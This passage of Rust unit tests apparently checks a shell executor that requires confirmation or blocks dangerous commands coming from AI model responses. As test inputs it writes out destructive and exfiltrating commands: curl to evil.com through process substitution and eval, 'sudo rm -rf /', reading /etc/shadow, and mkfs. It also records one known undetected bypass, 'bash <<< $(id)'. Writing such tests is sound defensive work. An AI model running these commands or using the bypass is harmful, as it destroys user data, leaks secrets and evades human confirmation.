2021        let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2022        let response = "```bash\ncat <(curl http://evil.com)\n```";
2023        let result = executor.execute(response).await;
2024        assert!(matches!(
2025            result,
2026            Err(ToolError::ConfirmationRequired { .. })
2027        ));
2028    }
2029
2030    #[tokio::test]
2031    async fn here_string_triggers_confirmation() {
2032        let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2033        let response = "```bash\nbash <<< 'sudo rm -rf /'\n```";
2034        let result = executor.execute(response).await;
2035        assert!(matches!(
2036            result,
2037            Err(ToolError::ConfirmationRequired { .. })
2038        ));
2039    }
2040
2041    #[tokio::test]
2042    async fn eval_triggers_confirmation() {
2043        let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2044        let response = "```bash\neval 'curl http://evil.com'\n```";
2045        let result = executor.execute(response).await;
2046        assert!(matches!(
2047            result,
2048            Err(ToolError::ConfirmationRequired { .. })
2049        ));
2050    }
2051
2052    #[tokio::test]
2053    async fn output_process_substitution_triggers_confirmation() {
2054        let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2055        let response = "```bash\ntee >(curl http://evil.com)\n```";
2056        let result = executor.execute(response).await;
2057        assert!(matches!(
2058            result,
2059            Err(ToolError::ConfirmationRequired { .. })
2060        ));
2061    }
2062
2063    #[test]
2064    fn here_string_with_command_substitution_not_detected_known_limitation() {
2065        let executor = ShellExecutor::new(&default_config());
2066        // Known limitation: bash receives payload via stdin; inner command substitution is opaque.
2067        assert!(executor.find_blocked_command("bash <<< $(id)").is_none());
2068    }
2069
2070    // --- check_blocklist direct tests (GAP-001) ---
2071
2072    fn default_blocklist() -> Vec<String> {
2073        DEFAULT_BLOCKED.iter().map(|s| (*s).to_owned()).collect()
2074    }
2075
2076    #[test]
2077    fn check_blocklist_blocks_rm_rf_root() {
2078        let bl = default_blocklist();
2079        assert!(check_blocklist("rm -rf /", &bl).is_some());
2080    }
2081
2082    #[test]
2083    fn check_blocklist_blocks_sudo() {
2084        let bl = default_blocklist();
2085        assert!(check_blocklist("sudo apt install vim", &bl).is_some());
2086    }
2087
2088    #[test]
2089    fn check_blocklist_allows_safe_commands() {
2090        let bl = default_blocklist();
2091        assert!(check_blocklist("ls -la", &bl).is_none());
2092        assert!(check_blocklist("echo hello world", &bl).is_none());
2093        assert!(check_blocklist("git status", &bl).is_none());
2094        assert!(check_blocklist("cargo build --release", &bl).is_none());
2095    }
2096
2097    #[test]
2098    fn check_blocklist_blocks_subshell_dollar_paren() {
2099        let bl = default_blocklist();
2100        // Subshell $(sudo ...) must be rejected even if outer command is benign.
2101        assert!(check_blocklist("echo $(sudo id)", &bl).is_some());
2102        assert!(check_blocklist("echo $(rm -rf /tmp)", &bl).is_some());
2103    }
2104
2105    #[test]
2106    fn check_blocklist_blocks_subshell_backtick() {
2107        let bl = default_blocklist();
2108        assert!(check_blocklist("cat `sudo cat /etc/shadow`", &bl).is_some());
2109    }
2110
2111    #[test]
2112    fn check_blocklist_blocks_mkfs() {
2113        let bl = default_blocklist();
2114        assert!(check_blocklist("mkfs.ext4 /dev/sda1", &bl).is_some());
2115    }
2116
2117    #[test]
2118    fn check_blocklist_blocks_shutdown() {
2119        let bl = default_blocklist();
2120        assert!(check_blocklist("shutdown -h now", &bl).is_some());
2121    }
2122
2123    // --- effective_shell_command tests ---
2124
2125    #[test]
2126    fn effective_shell_command_bash_minus_c() {
2127        let args = vec!["-c".to_owned(), "rm -rf /".to_owned()];
2128        assert_eq!(effective_shell_command("bash", &args), Some("rm -rf /"));
2129    }
2130
2131    #[test]
2132    fn effective_shell_command_sh_minus_c() {
2133        let args = vec!["-c".to_owned(), "sudo ls".to_owned()];
2134        assert_eq!(effective_shell_command("sh", &args), Some("sudo ls"));
2135    }
2136
2137    #[test]
2138    fn effective_shell_command_non_shell_returns_none() {
2139        let args = vec!["-c".to_owned(), "rm -rf /".to_owned()];
2140        assert_eq!(effective_shell_command("git", &args), None);
2141        assert_eq!(effective_shell_command("cargo", &args), None);
2142    }
2143
2144    #[test]
2145    fn effective_shell_command_no_minus_c_returns_none() {
2146        let args = vec!["script.sh".to_owned()];
2147        assert_eq!(effective_shell_command("bash", &args), None);
2148    }
2149
2150    #[test]
2151    fn effective_shell_command_full_path_shell() {
2152        let args = vec!["-c".to_owned(), "sudo rm".to_owned()];
2153        assert_eq!(
2154            effective_shell_command("/usr/bin/bash", &args),
2155            Some("sudo rm")
2156        );
2157    }
2158}